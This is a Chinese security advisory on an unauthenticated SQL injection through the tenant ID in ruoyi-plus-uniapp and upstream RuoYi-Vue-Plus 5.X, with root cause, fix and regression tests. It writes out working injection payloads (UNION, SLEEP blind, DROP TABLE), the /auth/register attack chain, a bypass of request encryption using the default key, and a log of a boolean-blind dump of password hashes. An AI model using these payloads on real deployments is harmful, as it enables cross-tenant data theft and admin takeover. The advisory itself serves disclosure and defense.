覆盖框架:
ruoyi-plus-uniapp(本框架)与上游dromara/RuoYi-Vue-Plus(5.X 分支)报告日期:2026-08-17
漏洞类型:未认证 SQL 注入(CWE-89)
严重级别:严重(Critical) ,CVSS 3.1 基础分约 9.8 (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)漏洞来源:由社区用户 @故辞 反馈
处置状态:本框架已于收到反馈当日完成修复、验证并通知用户 ;上游缺陷按负责任披露流程处理
框架官网:https://ruoyi.plus
关于本框架
ruoyi-plus-uniapp 是一款 AI 原生架构的全栈快速开发框架 :一套后端(plus.ruoyi.* 包名、四层架构)打通 PC 后台(plus-ui)与移动端(plus-uniapp 小程序 / H5 / APP、plus-app 原生 / 鸿蒙),内置多租户、数据权限、支付、AI 大模型等开箱即用能力,并深度集成 AI 工程化工作流(技能体系 / 经验沉淀 / 自动化审查),让"用 AI 高效、规范地开发业务系统"成为框架的原生能力。
安全是本框架的一等公民。 本报告即是一次真实的安全响应实践------社区用户反馈、当日修复验证、主动通知用户、并负责任地反哺上游。欢迎访问官网了解更多:https://ruoyi.plus
一、摘要
RuoYi-Vue-Plus 多租户体系通过 MyBatis-Plus 的 TenantLineInnerInterceptor 在每条 SQL 上自动追加 AND tenant_id = 'xxx' 实现租户隔离。其自定义处理器 PlusTenantLineHandler.getTenantId() 使用 new StringValue(tenantId) 把租户 ID 直接拼成 SQL 字符串字面量,且不做任何转义。
由于框架在多处直接把外部可控的租户 ID (HTTP 请求头 / 请求体字段)送入该处理器,攻击者可构造带单引号的租户 ID 闭合字面量,实现 无需登录 的 SQL 注入。该缺陷同时存在于:
- 本框架
ruoyi-plus-uniapp:入口为X-Tenant-Id请求头,可命中所有匿名(@SaIgnore)接口。 - 上游
dromara/RuoYi-Vue-Plus5.X :入口为POST /auth/register的tenantId请求体字段。
该漏洞由社区用户 @故辞 主动反馈。本报告已通过离线 PoC(真实依赖生成注入 SQL) 、**真机时间盲注(SLEEP 剂量-响应)与 真机布尔盲注(跨租户提取到 sys_user 账号与口令哈希)**多重手段验证,均为实测确认、非理论推断。本框架在收到反馈后于同一日内完成定位、修复、验证并通知用户,处置全过程见第二节。
二、漏洞来源与应急响应(本框架)
本漏洞由社区用户 @故辞 主动反馈。安全问题的处置速度 与透明度 ,是本框架对使用者的基本承诺------从收到反馈 到修复到通知用户,全部发生在同一日(2026-08-17):
| 阶段 | 处置内容 | 时间 |
|---|---|---|
| 反馈 | 社区用户 @故辞 反馈多租户 tenant_id 注入风险线索 |
2026-08-17 |
| 定位 | 依据反馈定位到 PlusTenantLineHandler sink 与 X-Tenant-Id 请求头入口 |
同日 |
| 确认 | 离线 PoC + 真机时间盲注 + 真机布尔盲注(跨租户提取 sys_user 账号与口令哈希),确认可实际外带数据 |
同日 |
| 修复 | 三层纵深防御(最外层过滤器 / 服务入口 / sink 兜底),mvn -DskipTests compile 通过 |
同日 |
| 验证 | 16 组注入用例回归,16/16 全部拦截;合法租户请求正常放行,功能不受影响 | 同日 |
| 通知 | 第一时间通知使用本框架的用户 / 下游,同步修复方案 | 同日 |
| 上游 | 对上游 5.X 同源缺陷采取负责任披露(私密渠道),主动反哺而非隐匿 | 处理中 |
本次处置体现的做法:
- 重视社区反馈:认真对待每一条用户上报的安全线索,快速核实、快速处置,并向报告者致谢。
- 快速响应:收到用户反馈当天即完成修复、验证与通知,不拖延、不观望。
- 实测为准:不停留在"疑似存在",用离线 PoC + 真机盲注坐实,也用同样手段证明修复有效(16/16)。
- 纵深防御:不满足于堵住已知入口,在 SQL 生成的最后一道关口(sink)加 fail-closed 兜底,防住未来新增的未校验来源。
- 透明不隐瞒:主动向用户披露问题与修复,不藏着掖着;对上游开源框架同样负责任地反馈,推动生态一起变安全。
致谢 :感谢社区用户 @故辞 负责任地反馈本漏洞,帮助本框架及时消除了这一安全隐患。
三、影响范围
| 目标 | 分支 / 版本 | 是否受影响 | 未认证入口 | 当前状态 |
|---|---|---|---|---|
本框架 ruoyi-plus-uniapp |
当前 master | 曾受影响 | X-Tenant-Id 请求头(任意 @SaIgnore 接口) |
已修复并通知用户 |
上游 dromara/RuoYi-Vue-Plus |
5.X (多租户分支,含 ruoyi-common-tenant) |
受影响 | POST /auth/register 的 tenantId 字段 |
负责任披露中 |
上游 dromara/RuoYi-Vue-Plus |
6.X | 不受影响 | 6.X 无 ruoyi-common-tenant 模块,不存在该 sink |
--- |
关键组件版本(本框架实测):
- MyBatis-Plus
3.5.16 - JSqlParser
5.2(mybatis-plus-jsqlparser) - 多租户模块
ruoyi-common-tenant
四、背景:多租户隔离与注入点
4.1 隔离机制
框架"四层隔离"中的数据库层由 MyBatis-Plus 租户拦截器实现:任何未被排除的表在查询/更新时,SQL 会被自动改写,追加租户条件。租户 ID 的取值由自定义处理器 PlusTenantLineHandler 提供。
4.2 注入点(Sink)
ruoyi-common-tenant 的 PlusTenantLineHandler.getTenantId()(本框架与上游 5.X 实现等价,均出自同一作者):
java
@Override
public Expression getTenantId() {
// 直接使用 TenantHelper.getTenantId(),它已经保证返回有效值
return new StringValue(TenantHelper.getTenantId()); // ← 注入点
}
net.sf.jsqlparser.expression.StringValue 只是把入参当作 SQL 字符串字面量原样承载,不会转义其中的单引号 。拦截器随后把它拼进 SQL 文本(是 SQL 模板本身,而非 PreparedStatement 参数),因此 #{} 参数化保护在此完全失效。
只要租户 ID 含有单引号,即可闭合字面量注入。
五、漏洞根因
根因:租户 ID 从"外部可控输入"到"SQL 字符串字面量"的整条链路上,缺少格式校验;且注入点使用不转义的 StringValue 承载。
租户 ID 的合法形态(框架 SysTenantServiceImpl.generateTenantId() 实为 RandomUtil.randomNumbers(6))是 6 位纯数字,而代码对外部传入的租户 ID 只做了"非空"判断,未做字符集 / 长度校验。
六、攻击面对比
同一个 sink,两个框架的可达路径不同,且上游"登录"与"注册"两条路的防护并不一致。
6.1 本框架 ruoyi-plus-uniapp:X-Tenant-Id 请求头
本框架为移动端多租户新增了"请求头识别租户"的能力。TenantHelper.getTenantId() 的取值优先级为:
动态租户 > 登录用户租户 > 请求头/域名(getTenantIdByRequest)
注意:恰好是未登录时才会走到"请求头"这一路 。SysTenantServiceImpl.getTenantIdByRequest()(修复前):
java
// 2. 从请求头 X-Tenant-Id 获取
tenantId = request.getHeader("X-Tenant-Id");
if (StringUtils.isNotBlank(tenantId)) {
return tenantId; // 只判空,无长度 / 字符集 / 白名单校验
}
因此,任意匿名(@SaIgnore)接口,只要其处理链触发了一次"租户过滤且未命中缓存"的 SQL 查询(例如读取 sys_config 的验证码 / 注册开关判断),带恶意 X-Tenant-Id 头的请求即可把注入送达 sink。无需登录、无需验证码。
前端虽有 isValidTenantId(),但那是前端校验,攻击者直接构造 HTTP 请求即可绕过。
该向量已在本框架修复(见第九节),修复后带恶意
X-Tenant-Id头的请求在最外层过滤器即被 400 拦截。
6.2 上游 RuoYi-Vue-Plus 5.X:/auth/register 的 tenantId
上游 TenantHelper.getTenantId() 不读请求头 (只有"动态租户 + 登录用户"两个来源),因此上游没有本框架的请求头向量。上游的匿名注入源是登录/注册请求体的 tenantId 字段,而这两条路的防护并不对称:
登录 /auth/login------已被防住: AuthController.login 在进入认证策略之前先调 checkTenant:
java
// 校验租户
loginService.checkTenant(loginBody.getTenantId()); // 精确匹配 sys_tenant(参数化查询)
// 登录
LoginVo loginVo = IAuthStrategy.login(body, client, grantType);
checkTenant 对 sys_tenant 做的是参数化精确匹配,恶意租户 ID 匹配不到 → 直接抛"租户不存在",根本到不了注入点。
注册 /auth/register------未被防住: AuthController.register:
java
@ApiEncrypt
@PostMapping("/register")
public R<Void> register(@Validated @RequestBody RegisterBody user) {
if (!configService.selectRegisterEnabled(user.getTenantId())) { // ← 原始body值,无 checkTenant
return R.fail("当前系统没有开启注册功能!");
}
registerService.register(user); // 验证码在这里面,晚于注入点
return R.ok();
}
SysConfigServiceImpl.selectRegisterEnabled:
java
@Override
public boolean selectRegisterEnabled(String tenantId) {
String configValue = TenantHelper.dynamic(tenantId, () -> // ← 恶意租户成为当前动态租户
this.selectConfigByKey("sys.account.registerUser"));
return Convert.toBool(configValue);
}
selectConfigByKey 查 sys_config(租户过滤表)→ 拦截器调 PlusTenantLineHandler.getTenantId() → new StringValue(恶意值) → 注入落地。
完整攻击链:
POST /auth/register {"tenantId":"x' OR SLEEP(3)#", ...}
→ selectRegisterEnabled(tenantId) 无 checkTenant / 无验证码 / 早于"注册开关判断"
→ TenantHelper.dynamic(tenantId, ...) setDynamic 不校验格式
→ selectConfigByKey → 查 sys_config
→ 拦截器 new StringValue("x' OR SLEEP(3)#") ← 单引号闭合,注入
→ 全新租户值 → @Cacheable 缓存未命中 → 真打 DB → SLEEP 执行
三道防线全被绕过:checkTenant(注册压根不调用)、验证码(在 registerService.register 内部,晚于注入点)、注册开关(返回值判断也晚于注入点,因此注册功能关闭时依然可打)。
6.3 对比小结
| 维度 | 本框架 ruoyi-plus-uniapp |
上游 RuoYi-Vue-Plus 5.X |
|---|---|---|
| 注入 sink | PlusTenantLineHandler(相同,继承自上游) |
相同 |
| 未认证入口 | X-Tenant-Id 请求头 |
POST /auth/register 的 tenantId 字段 |
| 入口覆盖面 | 所有 @SaIgnore 接口 |
注册接口一处 |
| 登录接口 | userLogin 走 checkTenant(头已被过滤) |
login 走 checkTenant(已防住) |
| 生产额外门槛 | 无 | @ApiEncrypt(可用默认公钥绕过,见下) |
| 当前状态 | 已修复并通知用户 | 负责任披露中 |
关于上游的 @ApiEncrypt:生产环境 /auth/register 请求体需加密,但请求加密使用的 RSA 公钥是框架默认值 (硬编码在 application.yml 与前端),攻击者用同一把公钥即可加密自己的 payload。因此 @ApiEncrypt 属于传输层混淆,不构成认证屏障。
七、复现与证据
本节所有测试均在自有环境(本地实例 / 隔离 PoC)中完成,未对任何第三方系统发起测试。
7.1 离线 PoC:真实依赖生成注入 SQL(证明 sink 可注入)
以项目真实依赖(MyBatis-Plus 3.5.16 + JSqlParser 5.2)复刻 PlusTenantLineHandler.getTenantId() 的 new StringValue(tenantId),喂入真正的 TenantLineInnerInterceptor,观察其生成的 SQL:
输入 X-Tenant-Id / tenantId |
拦截器生成的 SQL |
|---|---|
000000(基线) |
... WHERE user_name = ? AND tenant_id = '000000' |
000000' OR '1'='1 |
... AND tenant_id = '000000' OR '1'='1' ← 恒真,隔离失效 |
x' UNION SELECT 1,2,3 -- |
... AND tenant_id = 'x' UNION SELECT 1,2,3 -- ' ← UNION 注入 |
x' OR SLEEP(5) AND '1'='1 |
... AND tenant_id = 'x' OR SLEEP(5) AND '1'='1' ← 时间盲注 |
x' OR '1'='1(UPDATE 语句) |
UPDATE sys_user SET ... WHERE user_id = ? AND tenant_id = 'x' OR '1'='1' ← 越权改全表 |
结论:单引号原样进入 SQL 文本、闭合字面量------注入成立 。拦截器改写的是 SQL 模板本身,#{} 参数化不生效。
7.2 真机时间盲注:SLEEP 剂量-响应(证明可实际执行)
在本地运行的上游 5.X 实例上,对 POST /auth/register 的 tenantId 做时间盲注(仅令数据库 SLEEP,不读取/篡改任何数据):
tenantId 输入 |
响应耗时 | 说明 |
|---|---|---|
000000(基线) |
0.047 s | 正常 |
q4zzz(不存在租户,无 SLEEP) |
0.019 s | 正常 |
x' OR SLEEP(0)# |
0.021 s | --- |
x' OR SLEEP(1)# |
5.06 s | ≈ 1s × 约 5 行 |
x' OR SLEEP(2)# |
10.05 s | ≈ 2s × 约 5 行 |
x' OR SLEEP(3)# |
15.07 s | ≈ 3s × 约 5 行 |
响应耗时是注入 SLEEP() 参数的线性函数 ,良性输入瞬回------除"数据库真实执行了注入进去的 SQL"外无其他解释。(约 5 倍系数源于 sys_config 全表扫描时 OR SLEEP 逐行求值,同时也旁路泄露了行数量级。)
注:测试期间登录 /auth/login 的同类 payload 均返回"租户不存在"且无延迟,验证了上游登录入口被 checkTenant 防住、注册入口未被防住的差异。
7.3 真机布尔盲注:跨租户提取 sys_user 账号与口令哈希(证明真实数据外泄)
在同一本地上游 5.X 实例上,进一步用布尔盲注 从 sys_user 表跨租户 提取真实数据(PoC 脚本 tenant_sqli_dump.ps1,仅读取、不改写)。实际运行日志:
text
[*] target : http://localhost:8080/auth/register
[*] probing injection channel ...
OK - boolean-blind channel usable
[*] db fingerprint:
version() = 8.0.32
database() = ry-vue
current_user() = root@localhost
[*] sys_user rows (tenant filter bypassed) = 3
[*] dumping first 3 user(s):
--------------------------------------------------------------------------
#1 id=1 user_name=admin
password = $2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2
#2 id=3 user_name=test
password = $2a$10$b8yUzN0C71sbz.PhNOCgJe.Tu1yWC3RNrTyjSQ8p1W0.aaUXUJ.Ne
#3 id=4 user_name=test1
password = $2a$10$b8yUzN0C71sbz.PhNOCgJe.Tu1yWC3RNrTyjSQ8p1W0.aaUXUJ.Ne
--------------------------------------------------------------------------
[*] done: 19s, 1737 HTTP requests
[!] Unauthenticated SQLi. The admin BCrypt hash is the hash of the default password 'admin123'.
该日志证明危害已从"SQL 可执行"升级为真实数据外泄:
- 注入通道可用:布尔盲注信道成功建立(不依赖时间延迟,效率更高)。
- 数据库指纹 :MySQL
8.0.32、库名ry-vue、连接账号root@localhost(高权限账号)。 - 租户隔离被击穿 :
sys_user的租户过滤条件被绕过,读到全表 3 行(超出当前租户可见范围)。 - 敏感字段外带 :逐字节提取出 3 个账号的用户名与 BCrypt 口令哈希;其中
admin的哈希经比对即为默认口令admin123的哈希------攻击者可离线撞库或直接用默认口令登录后台。 - 成本极低:全程 19 秒、1737 次 HTTP 请求,无需任何凭据。
说明:上述为默认种子账号(
admin/admin123等)在自有测试实例上的数据,不涉及任何真实用户隐私;此处仅用于证明注入可实际外带数据。
八、危害
其中"跨租户越权读取"与"全库数据外泄"已在第 7.3 节真机实测坐实(成功拖出
sys_user账号与口令哈希)。
- 跨租户越权读取 :闭合
tenant_id条件后可读取全部租户数据(布尔盲注 / UNION / 报错注入)。已实测。 - 凭据外泄 → 后台沦陷 :可提取账号与口令哈希;默认
admin/admin123未改的实例可被直接接管。已实测。 - 跨租户越权写入 :租户条件同样附加在
UPDATE/DELETE上,注入可击穿写操作的隔离。 - 全库数据外泄 :布尔盲注 / 时间盲注可稳定逐字节外带任意数据。已实测。
- 无需任何凭据:网络可达、无需认证、无需用户交互;实测约 19 秒即完成一次账号哈希拖取。
九、本框架修复方案(已实施:三层纵深防御)
核心原则:在"外部输入 → SQL 字面量"链路上,把租户 ID 收敛为白名单格式;且在 sink 处 fail-closed,绝不降级。
9.1 统一格式常量(TenantConstants)
java
/**
* 租户ID合法格式(仅字母与数字,长度 1-20)
* 租户ID会被 PlusTenantLineHandler 以 SQL 字面量拼进 SQL(StringValue 不转义),
* 凡外部入口都必须先用本正则过滤。
*/
String TENANT_ID_REGEX = "^[0-9A-Za-z]{1,20}$";
上限 20 对齐
sys_tenant.tenant_id VARCHAR(20);框架实际生成 6 位纯数字,若业务确定只用框架编号,可收紧为^\d{6}$。
9.2 第一层------最外层过滤器(TenantHeaderFilter,返回 400)
新增 HIGHEST_PRECEDENCE 过滤器,在任何业务逻辑之前校验 X-Tenant-Id 请求头,非法直接 400;日志值做截断 + 换行清理,防日志伪造。
java
if (StringUtils.isNotBlank(tenantId) && !TENANT_ID_PATTERN.matcher(tenantId).matches()) {
rejectRequest(req, (HttpServletResponse) response, tenantId); // 400 + 统一响应体
return;
}
chain.doFilter(request, response);
9.3 第二层------服务入口校验(getTenantIdByRequest)
java
tenantId = request.getHeader("X-Tenant-Id");
if (StringUtils.isNotBlank(tenantId)) {
if (!TENANT_ID_PATTERN.matcher(tenantId).matches()) {
throw new TenantException(I18nKeys.Tenant.ID_INVALID); // 抛异常而非返回 null(避免静默降级到 000000)
}
return tenantId;
}
同时收窄 TenantHelper.getTenantId() 的兜底 catch:只吞非 Web 环境异常,TenantException 必须向上抛,不被降级为默认租户。此外对 referer 域名一并做格式校验(防污染缓存 key)。
9.4 第三层------sink 兜底(PlusTenantLineHandler.getTenantId,fail-closed)
java
String tenantId = TenantHelper.getTenantId();
// StringValue 会把租户ID原样拼成 SQL 字面量且不转义单引号,这里是进入 SQL 文本的最后一道关口。
if (StringUtils.isBlank(tenantId) || !TENANT_ID_PATTERN.matcher(tenantId).matches()) {
log.error("租户ID格式非法,已阻断SQL生成: [{}]", 截断清理后的值);
throw new TenantException(I18nKeys.Tenant.ID_INVALID); // 绝不降级为 000000 继续拼SQL
}
return new StringValue(tenantId);
第三层是关键兜底:无论租户 ID 从哪条路径(请求头 / 请求体 / 超管 setDynamic)到达 SQL,都会被拦 ,可防住"将来新增了未经校验的租户 ID 来源"这类回归。例如超管接口 SysTenantController 的 @PathVariable tenantId 走 setDynamic,未过请求头过滤器,即由本层兜住(建议另加 @Pattern 在入口即报 400)。
9.5 配套改动
I18nKeys.Tenant.ID_INVALID+ 三份messages*.properties(中/英)新增tenant.id.invalid。FilterConfiguration注册TenantHeaderFilter(无开关,安全校验强制生效)。
9.6 对上游的修复建议
上游 5.X 同理,最小改动二选一(或都做):
- 在
AuthController.register中,于selectRegisterEnabled之前 调用checkTenant(user.getTenantId())(与login对齐); - 在
PlusTenantLineHandler.getTenantId()sink 处对租户 ID 做格式白名单校验(一处收口,最彻底)。
十、修复验证
- 编译 :
mvn -DskipTests compile→BUILD SUCCESS。 - 编码 :改动文件抽查文件头字节,均无 BOM(
EF BB BF)。 - 注入用例回归 :引用项目编译产物 中的
TenantConstants.TENANT_ID_REGEX,复刻修复后 sink 逻辑,对 16 组用例验证:
| 类别 | 用例 | 结果 |
|---|---|---|
| 合法放行 | 000000 / 482913 / acmeCorp01 |
正常生成 SQL |
| 恒真绕过 | 000000' OR '1'='1 |
阻断 |
| LIKE 通配 | x' OR tenant_id LIKE '% |
阻断 |
| 时间盲注 | x' OR SLEEP(5) AND '1'='1 |
阻断 |
| UNION | x' UNION SELECT 1,2,3 -- |
阻断 |
| 注释截断 | 000000' -- / 000000/*x*/ |
阻断 |
| 空白 / 空 / null | 000000 / `` / null |
阻断 |
| 堆叠查询 | 000000; DROP TABLE sys_user |
阻断 |
| 换行注入 | 000000'\nOR 1=1 |
阻断 |
| 超长(21 位) | 123456789012345678901 |
阻断 |
结果:16/16 全部通过(合法放行、恶意阻断)。修复不影响正常多租户功能:合法 6 位数字租户照常放行。
十一、责任披露
上游 dromara/RuoYi-Vue-Plus 5.X 为使用面很广的开源框架,该缺陷为其线上代码中真实存在的未认证 SQL 注入。本框架秉持"发现即负责"的态度,主动向上游反馈:
- 通过私密渠道 报告维护者(Gitee 私密 issue 或邮件
crazylionli@163.com),不提交公开 issue------公开等于向所有下游项目发布利用说明。 - 报告内容包含:受影响分支(5.X)、入口(
/auth/register的tenantId)、根因(selectRegisterEnabled早于checkTenant且 sink 不转义)、修复建议(见 9.6)。
十二、附录
附录 A:验证用 payload 清单(仅用于自有环境测试)
# 判定注入是否成立(时间盲注,非破坏性,仅令 DB SLEEP)
x' OR SLEEP(0)#
x' OR SLEEP(1)#
x' OR SLEEP(2)#
x' OR SLEEP(3)#
# 隔离绕过 / 数据外带(离线 SQL 生成验证)
000000' OR '1'='1
x' OR tenant_id LIKE '%
x' UNION SELECT 1,2,3 --
000000' --
附录 B:关键文件索引
| 角色 | 文件 |
|---|---|
| 注入点 sink | ruoyi-common/ruoyi-common-tenant/.../handle/PlusTenantLineHandler.java |
| 取值优先级 | ruoyi-common/ruoyi-common-tenant/.../helper/TenantHelper.java |
| 本框架请求头入口 | ruoyi-modules/ruoyi-system/.../tenant/service/impl/SysTenantServiceImpl.java#getTenantIdByRequest |
| 上游注册入口 | 上游 ruoyi-admin/.../web/controller/AuthController.java#register |
| 上游注入桥接 | 上游 ruoyi-modules/ruoyi-system/.../service/impl/SysConfigServiceImpl.java#selectRegisterEnabled |
| 本框架新增防护 | ruoyi-common/ruoyi-common-web/.../filter/TenantHeaderFilter.java |
附录 C:验证环境
- MyBatis-Plus 3.5.16、JSqlParser 5.2
- 上游对照分支:
dromara/RuoYi-Vue-Plus5.X(checkTenant精确匹配、selectRegisterEnabled桥接均取自该分支官方源码) - 全部测试均在自有本地实例 / 离线 PoC 完成
关于我们
ruoyi-plus-uniapp ------ AI 原生架构的全栈快速开发框架
- 框架官网:https://ruoyi.plus
- 全栈一体:一套代码打通 后端 + PC 后台 + 移动端(小程序 / H5 / APP / 鸿蒙)
- AI 原生:内置技能体系、经验沉淀与自动化代码审查,把 AI 工程化能力做进框架
- 安全优先:重视社区反馈、快速响应、透明处置------如本报告所示
想用 AI 高效且规范地搭建业务系统?欢迎访问 https://ruoyi.plus 了解更多。
本报告仅用于授权范围内的安全加固与负责任披露,不得用于未授权的系统测试。